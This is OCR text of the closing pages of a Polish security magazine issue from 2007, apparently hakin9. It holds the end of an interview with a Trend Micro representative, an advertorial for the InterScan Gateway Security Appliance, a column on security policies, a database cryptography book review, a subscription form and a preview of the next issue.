głębiając się w ich przeszłość – muszą cechować się
szeroką wiedzą na ten temat. Jeżeli chodzi o rozpo-
znawanie nowych zagrożeń, to dysponujemy ogromną
bazą klientów, którzy dostarczają nam próbki. Po dru-
gie, w naszej ofercie są rozwiązania dedykowane dla
dostawców usług internetowych, które – oprócz blo-
kowania złośliwego kodu, zanim opuści sieć danego
operatora – wykorzystują dodatkowo behawioral-
ną analizę ruchu sieciowego, która również jest źró-
dłem na temat aktywności i tego, co się dzieje w cy-
berprzestępczym świecie. Jeśli jesteśmy w stanie sami
dotrzeć do serwisów, które służą do infekowania kom-
puterów, także analizujemy ich kod źródłowy i opraco-
wujemy odpowiednie szczepionki.
h9:
Czy ma miejsce współpraca z konkurencją, wymiana
informacji o zagrożeniach itp.?
FD:
Generalnie taka wymiana informacji istnieje. Twórcy
rozwiązań wymieniają się wiedzą dotyczącą nowo odkty-
wanych wirusów, skupiając się jednocześnie na zapew-
nieniu swoim klientom możliwie największego poziomu
bezpieczeństwa. Sama wymiana informacji służy dobru
wszystkich uzytkowników komputrów .
h9:
Czy walka z cyberprzestępczością to trudne zada-
nie ?
FD:
Powiedziałbym tak: to nie jest coś niewyobrażal-
nie trudnego – jak widać radzimy sobie. Trzeba tyl-
ko wiedzieć, co chce się zrobić i mieć odpowiednie
zasoby, wzmocnione oczywiście ciężką pracą. W tej
branży trudno jest być geniuszem, stosować mecha-
nizmy i projektować rozwiązania, których nie są w sta
nie wymyślić inni. To sektor podobny do branży
medycznej, gdzie ludzie opracowują nowe lekarstwa
na choroby. Efekty są owocem lat pracy i zbierania in-
formacji – zaczyna to procentować dopiero po długim
okresie działania na rynku. W Trend Micro ponad 800
inżynierów zajmuje się wyłącznie opracowywaniem
szczepionek oraz badaniami nad nowymi typami ata-
ków.
h9:
Dziękujemy za rozmowę.
FD:
Dziękuję. l
INTERSCAN GATEWAY SECURITY APPLIANCE
– WCZESNE POWSTRZYMANIE INFEKCJI
Trend Micro ma w ofercie całą gamę urządzeń
przeznaczonych do ochrony firm, w tym tych śred-
niej wielkości. Obsługują nie tylko ochronę bra-
my internetowej (IGSA), ale także poszczególne
usługi, np. poczty – InterScan Messaging Security
Appliance czy ruchu http i ftp – InterScan Web
Security Appliance.
PODŁĄCZ I ZAPOMNIJ
InterScan Gateway Security Appliance (obecnie
w wersji 1.5) umiejscowione jest pomiędzy fire-
wallem a siecią wewnętrzną i jest uzupełnieniem
zapory na wyższych warstwach. IGSA, jako produkt
związany z zagrożeniami i ochroną, jest koloru
czerwonego. Należy do klasy urządzeń SCM (secure
content management) zapewniających bezpie-
czeństwo przesyłanych treści. IGSA odciąża admi-
nistratora w monitorowaniu zagrożeń i przeciwdziała-
niu im, gdyż zaprojektowane jest według zasady
„podłącz i zapomnij”. Urządzenie dostarczane jest
już jako wstępnie skonfigurowane, co ułatwia wdro-
żenie. Producent udziela na nie, co jest ewenemen-
tem, trzyletniej gwarancji sprzętowej. Aktualizacje
firmware są darmowe, w ramach usług wsparcia.
ANTYWIRUS, ANTYSPAM
I ANTYSPYWARE – TRZY W JEDNYM
Urządzenie jest jednostką serwerową wysokości
1U (do szaf 19"). Frontowy panel LCD pozwala
sprawdzić konfigurację interfejsu sieciowego i ob-
ciążenie. Za pomocą jednej konsoli sieci Web urzą-
dzenie automatycznie blokuje zagrożenia: wiru-
sy, programy szpiegujące, spam, phishing, phar-
ming, ataki komputerów-zombie czy niebezpiecz-
ne adresy URL, na bieżąco filtrując przesyłane
treści. IGSA może funkcjonować w trybie w pełni
transparentnym lub jako proxy.
Ochrona przed zagrożeniami realizowana jest
poprzez skanowanie poczty (ruch poprzez pro-
tokoły SMTP, POP3), przeglądanych stron WWW
oraz skanowanie ruchu ftp. Dla każdego pro-
tokołu mamy możliwość osobnej konfiguracji,
m.in. parametrów skanowania, akcji podjętych
w przypadku wykrycia określonego zagrożenia
czy powiadomień. Dzięki Network Reputation
Services (NRS) eliminowanie spamu jest bar-
dzo proste, ponieważ blokowany jest on u źró-
dła poprzez filtrowanie wiadomości według ad-
resu IP serwera nadawcy (ERS) a do filtrowania
URL można wykorzystać nowy, jedyny tego ty-
pu, dynamiczny mechaninzm Web Reputation
Services (WRS), informujący klientów o reputacji
odwiedzanych witryn w czasie rzeczywistym po-
przez zapytania DNS.
Usługa Trend Micro Damage Cleanup Services
automatycznie eliminuje infekcje wirusami i pro-
gramami szpiegującymi, oszczędzając czas po-
święcany na administrowanie i radykalnie skra-
cając okresy przestojów systemu. Zintegrowana
z IGSA usługa Outbreak Prevention Services po-
zwala dodatkowo zabezpieczyć sieć przed no-
wymi zagrożeniami wirusowymi, na które nie są
jeszcze dostępne sygnatury.
SZCZEGÓLNE SKANOWANIE POCZTY
W IGSA skanować można cały ruch lub pliki
o wskazanych rozszerzeniach. Możliwe jest inte-
ligentne skanowanie, gdzie szczególnej kontroli
poddawane są pliki z rozszerzeniami, w których
potencjalnie znajdować się może szkodliwy kod.
Jako parametr można określić objętość pliku lub
poziom kompresji. Ruch przesyłany sprawdzany
jest nie tylko na okoliczność występowania wiru-
sów, ale także spyware, adware, grayware, dia-
lerów, programów i narzędzi wykorzystywanych
do uzyskania zdalnego dostępu czy aplikacji do
łamania haseł. Autorzy wirusów próbują obejść
filtry poprzez zastosowanie kompresji plików.
IGSA korzysta tu z mechanizmu IntelliTrap, któ-
ry przeprowadza heurystyczną analizę skompre-
sowanych plików, tak, aby zminimalizować ryzy-
ko przedostania się wirusa lub bota w załączniku.
Odbywa się to bez dekompresji pliku. IGSA oferu-
je też ochronę dnia zerowego – zanim zostanie
przygotowana szczepionka. Dla ruchu http sys-
tem zarządza, za pomocą filtra adresów URL, ko-
rzystaniem z sieci Web, ograniczając dostęp do
różnych kategorii stron internetowych zgodnie
z ustalonym harmonogramem.
Obsługa urządzenia sprowadza się do aktu-
alizacji i zarządzania ochroną za pomocą jednej
konsoli dostępnej z poziomu przeglądarki inter-
netowej. IGSA to nie tylko ochrona przed zagro-
żeniami z Internetu, lecz także usuwanie zagro-
żeń wewnątrz sieci dzięki wbudowanej usłudze
Damage Cleanup Services. Pozwala ona na auto-
matyczne (poprzez ActiveX) oczyszczenie stacji
roboczych ze spyware oraz złośliwego oprogra-
mowania, nie wymagając żadnej dodatkowej in-
stalacji oprogramowania na stacjach roboczych.
Urządzenie InterScan Gateway Security Ap-
pliance firmy Trend Micro dostępne jest w wersji dla
100, 200, 300, 600, 800 oraz 1000 użytkowników.
Więcej informacji
http://pl.trendmicro-europe.com/
enterprise/products.
Reklama
Prowadzenie biznesu wymaga stałego dostępu do danych i systemu
informatycznego. Firma Trend Micro przygotowała urządzenie InterScan
Gateway Security Appliance (IGSA), które łączy w sobie antywirus, antyspam
i antyspyware w jednym unicie. IGSA stanowi uzupełnienie istniejących zapór
ogniowych i wirtualnych sieci VPN dla wczesnego powstrzymywania infekcji.
DAGMA Sp. z o.o. – dystrybutor
TREND MICRO w Polsce
ul. Pszczyńska 15
40-478 Katowice
tel. (32) 259 11 00
www.dagma.pl
sales@dagma.pl
www.trendmicrosmb.pl
Kontakt:
hakin9 Nr 12/2007
www.hakin9.org
78
S
ystem komputerowy można zaatakować na dwa
sposoby: bezpośrednio oraz pośrednio. Nietrudno
się domyślić, że atak bezpośredni polega na wyko-
rzystaniu różnych podatności danego systemu (zdalnych
czy lokalnych), w celu jego całkowitego lub częściowego
przejęcia. Atak pośredni natomiast najczęściej wykorzy-
stuje błąd PPKK (Problem Pomiędzy Klawiaturą a Krze-
słem). Błąd ten pojawia się, gdy osoba odpowiedzialna za
dany system nie do końca prawidłowo (lub wcale) prze-
strzega zasad bezpieczeństwa obowiązujących w danej
infrastrukturze. Zasady te noszą nazwę planu lub polityki
bezpieczeństwa. Celem opracowania polityki systemu jest
poprawienie i zagwarantowanie odpowiedniego poziomu
zabezpieczeń dla naszych technologii informatycznych.
Wszystkie systemy komputerowe cechuje pewien poziom
wrażliwości (nawet mimo dobrych zabezpieczeń sprzęto-
wych), dlatego zasady bezpieczeństwa stanowiące część
polityki pozwalają na znaczne obniżenie tej wrażliwo-
ści. Dobre zasady bezpieczeństwa są na tyle surowe, że
zapewniają pożądany poziom bezpieczeństwa dla obsłu-
giwanego systemu i przechowywanych w nim informacji.
W ten sposób każda osoba posiada jasno określoną odpo-
wiedzialność i oczekiwania w odniesieniu do dostępu do
systemu. Motywacją dla każdej osoby, która jest częścią
całego systemu zabezpieczeń (i może stanowić najsłab-
sze ogniwo poprzez ignorancję naszej polityki), jest zawar-
cie informacji o konsekwencjach niewłaściwego zachowa-
nia lub nieprzestrzegania zasad. Każdy użytkownik uzy-
skujący dostęp do systemu powinien móc zapoznać się
z zasadami bezpieczeństwa. Dla pewności można przy-
gotować stronę z własnoręcznymi podpisami, na której
użytkownik wyraża zgodę na akceptację zasad. Korzy-
ści płynące z przestrzegania stworzonych nakazów czy
zakazów są wymierne nie tylko dla danej osoby, ale i dla
całej organizacji. Skoro poszczególne jednostki posiadają
świadomość np. co do limitów połączeń z innymi systema-
mi, znają priorytety udostępniania i przywracania usług,
wiedzą, na jakiej zasadzie odbywa się dostęp przy pomocy
publicznych łączy, w jaki sposób odbywa się korzystanie
z zastrzeżonych materiałów, czy też komu można nadać
lub ograniczyć przywileje systemowe, to w połączeniu
z wiedzą i działaniami innych osób mechanizm ten może
stanowić dość szczelny system zarządzania wrażliwą
informacją. Należy także pamiętać o kontroli działania
i przestrzegania zasad. Ponieważ każda organizacja ma
Grunt to mieć zasady
system różnych hierarchii, można wprowadzić autoryza-
cję działania, która pozwala na kontrolę przetwarzanych
informacji. W ten sposób osoba bezpośrednio odpowie-
dzialna za bezpieczeństwo daje możliwość uzyskania naj-
wyższego poziomu bezpieczeństwa przez pracowników
technicznych czy użytkowników. Dla przykładu: zarówno
administrator, jak i zwykły użytkownik mają własne obowiązki
związane z bezpieczeństwem systemu. Administrator jest
bardziej związany z codziennymi operacjami systemu, ponie-
waż kieruje, wykonuje i monitoruje zadania zabezpieczeń.
Użytkownik jest zwykle ogólnie odpowiedzialny za orga-
nizację własnej pracy wykonywanej w systemie i to z nim
związane jest największe zagrożenie szkodami poprzez
celowe lub przypadkowe działania. Bardzo często systemy
przeżywające awarię są uszkadzane przez osoby mające
prawo do korzystania z nich lub obsługi. Dlatego dodatko-
wy nadzór osoby związanej bezpośrednio z bezpie-
czeństwem wspomaga proces usuwania powstałych luk
w zasadach bezpieczeństwa. Wybiegając poza czynniki
bliższe systemowi, bardzo przydatnymi dla kontroli ruchu
są środki kontroli fizycznego dostępu, które w odpowied-
ni sposób ograniczają wejścia i wyjścia pracowników (ruch
urządzeń i nośników) na danym obszarze (np. serwerowni,
centrum danych). Oczywiście fundamentem jest zapew-
nienie bezpieczeństwa pożarowego wykorzystywanych
budynków, awaryjnego zasilania oraz uzyskanie pewno-
ści, że systemy grzewcze oraz klimatyzacyjne są w pełni
sprawne. Ze względu na systemy mobilne (np. laptopy),
należy stosować dostępne szyfrowanie danych na nośni-
kach, co pozwoli na uchronienie informacji w przypadku
kradzieży lub zagubienia urządzenia. Nieużywane syste-
my przenośne należy poddać procesowi bezpiecznego
usuwania danych (bez możliwości odtworzenia) i prze-
chowywać w bezpiecznym miejscu. Procedury bezpie-
czeństwa można utworzyć dla każdego systemu o różnej
charakterystyce, przeznaczeniu oraz wartości. To samo
tyczy się grup docelowych. Jednak najważniejszym wąt-
kiem w tej kwestii jest uniemożliwienie powstania błędu
PPKK poprzez systematyczne egzekwowanie przestrze-
gania stworzonych na potrzeby danej organizacji zasad.
Grunt to mieć zasady. Bo to, co może nas zniszczyć, to
postęp bez współczucia, bogactwo bez pracy, wiedza
bez milczenia, religia bez odwagi, kult bez świadomości
i polityka bezpieczeństwa bez stosowanych zasad. l
Patryk Krawaczyński, agresor@nfsec.pl
Felieton
Księgozbiór
hakin9 Nr 12/2007
www.hakin9.org
79
Tytuł: Kryptografia w Bazach Danych. Ostatnia Linia Obrony
Autor: Kevin Kenan
Wydawca: Wydawnictwo Naukowe PWN
Rok wydania w Polsce: 2007
Liczba stron: 300
O
książce Kryptografia w bazach danych. Ostat-
nia linia obrony można pisać naprawdę wiele.
Oferuje ona bardzo dokładny, ale też prakty-
czny przegląd podstaw współczesnej kryptografii, na
pierwszym miejscu stawiając poufność danych.
Choć książka wymaga od czytelnika podstawowej
wiedzy z zakresu baz danych (jak również kryptografii),
nic nie stoi na przeszkodzie, aby sięgnął po nią ktoś, kto
dopiero rozpoczyna przygodę ze sztuką najwyższego
bezpieczeństwa informacji. Pozycja podzielona jest na
cztery części.
Pierwsza z nich skupia się na bezpieczeństwie baz
danych, część druga obejmuje szczegóły projektu sys-
temu kryptograficznego. Trzecia część opisuje praktyki
tworzenia oprogramowania niezbędnego do bezpiecz-
nej implementacji systemu kryptograficznego, natomiast
czwarta – ostatnia – przedstawia sposoby wdrożenia
wcześniej prezentowanych projektów i metodologii. Nie-
wątpliwie dużą zaletą książki jest spora ilość przykładów,
które koncentrują się na omawianych zagadnieniach. Aby
w pełni odczuć siłę prezentowanych przykładów, wy-
maga się od czytelnika podstawowej wiedzy z zakresu
programowania w języku Java.
Warto zwrócić uwagę, że autor omawianej pozycji
jest szefem programu bezpieczeństwa baz danych
w firmie Symantec. Współpracuje z zespołami tworzą-
cymi oprogramowanie, aby zapewnić bezpieczeństwo
aplikacji i baz danych wdrażanych przez firmę.
Podczas lektury książki Kryptografia w bazach
danych. Ostatnia linia obrony być może początkowo
zniechęci Was zbyt dosłowne tłumaczenie pewnych ter-
minów, jednak dla oceny całości jest to mało znaczący
drobiazg.
Tomasz Przybylski
R
E
K
L
A
M
A
Zaprenumeruj swoje ulubione magazyny
i zamów archiwalne numery!
Już teraz w kilka minut możesz zaprenumerować swoje ulubione pismo.
Gwarantujemy:
- preferencyjne ceny
- bezpieczną płatność on-line
- szybką realizację Twojego zamówienia
Bezpieczna prenumerata on-line wszystkich tytułów Wydawnictwa Software!
www.buyitpress.com
zamówienie prenumeraty
Prosimy wypełnić czytelnie i przesłać faksem na numer:
(22) 427 36 69 lub listownie na adres: Software-Wydawnictwo Sp. z o.o.,
Bokserska 1, 02-682 Warszawa, e-mail: pren@software.com.pl. Przyjmujemy też zamówienia telefoniczne:
(22) 427 36 79
Imię i nazwisko............................................................................................ ID kontrahenta..........................................................................................
Nazwa firmy................................................................................................. Numer NIP firmy.......................................................................................
Dokładny adres....................................................................................................................................................................................................................
Telefon (wraz z numerem kierunkowym)................................................... Faks (wraz z numerem kierunkowym) ....................................................
E-mail (niezbędny do wysłania faktury)............................................................................................................................................................................
zamówienie prenumeraty
1
Cena prenumeraty rocznej dla osób prywatnych
2
Cena prenumeraty rocznej dla osób prenumerujących już Software Developer’s Journal lub Linux+
3
Cena prenumeraty dwuletniej Aurox Linux
Jeżeli chcesz zapłacić kartą kredytową, wejdź na
stronę naszego sklepu internetowego:
www.buyitpress.com
automatyczne przedłużenie prenumeraty
Suma
Tytuł
Ilość
numerów
Ilość
zamawianych
prenumerat
Od numeru
pisma lub
miesiąca
Opłata
w zł
z VAT
Software Developer’s Journal (1 płyta CD)
– dawniej Software 2.0
Miesięcznik profesjonalnych programistów
12
250/180
1
SDJ Extra
(od 1 do 4 płyt CD lub DVD)
– dawniej Software 2.0 Extra!
Numery tematyczne dla programistów
6
150/135
2
Linux+DVD (2 płyty DVD)
Miesięcznik o systemie Linux
12
199/179
1
Linux+Extra! (od 1 do 7 płyt CD lub DVD)
Numery specjalne z najpopularniejszymi dystrybucjami Linuksa
8
232/198
2
PHP Solutions (1 płyta CD)
Dwumiesięcznik o zastosowaniach języka PHP
6
135
hakin9, jak się obronić (1 płyta CD)
Miesięcznik o bezpieczeństwie i hakingu
12
199
1
/219
.psd (2 płyty CD)
Dwumiesięcznik użytkowników programu Adobe Photoshop
6
140
.psd numery specjalne
(.psd Extra + .psd Starter Kit)
6
140
Aktualne informacje o najbliższym numerze
http://www.hakin9.org/pl
Numer w sprzedaży na początku stycznia 2008 r.
Redakcja zastrzega sobie prawo zmiany zawartości pisma.
hakin9
1/2008
w następnym numerze
między innymi:
Zapowiedzi
Luki w grach komputerowych
Strategiczne, zręcznościowe, logiczne, przygodowe... Gry komputerowe
– znane i lubiane zarówno przez dzieci, jak i dorosłych. Tym razem zajmie-
my się nie ich mocnymi stronami, ale niedoskonałościami. Czy luki w grach
uprzyjemniają graczom czas spędzony przed komputerem, czy wręcz prze-
ciwnie?
Skanowanie na ślepo
Artykuł przedstawia technikę skanowania pozwalającą na odkrycie para-
metrów połączenia dwóch komputerów, potrzebnych do zerwania połącze-
nia lub wstrzyknięcia dodatkowych danych. Po przeczytaniu artykułu Czy-
telnik będzie nie tylko wiedział, na czym polega owa technika, ale również
rozumiał, dlaczego losowość odgrywa kluczową rolę w bezpieczeństwie
komputerowym.
Windows Vista
Najnowsza wersja systemu Windows nazywa się Vista i została wprowadzo-
na na rynek przez Microsoft w 2005 roku. Od tego czasu spotkała się z szero-
ką krytyką. A jak wygląda Vista od strony bezpieczeństwa – może zasługuje na
pochwałę? O bezpieczeństwie systemu przeczytają Państwo w artykule Artura
Żarskiego.
Nazwy plików i błędy w oprogramowaniu
Autor zajmuje się tematem błędów w oprogramowaniu związanych z nazwa-
mi plików – directory traversal, czyli możliwością zmiany ścieżki zapisu pliku
poprzez odpowiednie spreparowanie jego nazwy oraz filename spoofing,
czyli błędem polegającym na wyświetlaniu innej niż rzeczywista nazwy pliku.
Artykuł zilustrowano przykładami wykrytych przez Autora błędów w istnieją-
cym oprogramowaniu, a także błędów znalezionych przez inne osoby i zgło-
szonych na listę Bugtraq.
NA CD:
• hakin9.live – bootowalna dystrybucja Linuksa,
• mnóstwo narzędzi – niezbędnik hakera,
• tutoriale – praktyczne ćwiczenia zagadnień poruszanych w artykułach,
• dodatkowa dokumentacja,
• pełne wersje komercyjnych aplikacji.
Atak
Obrona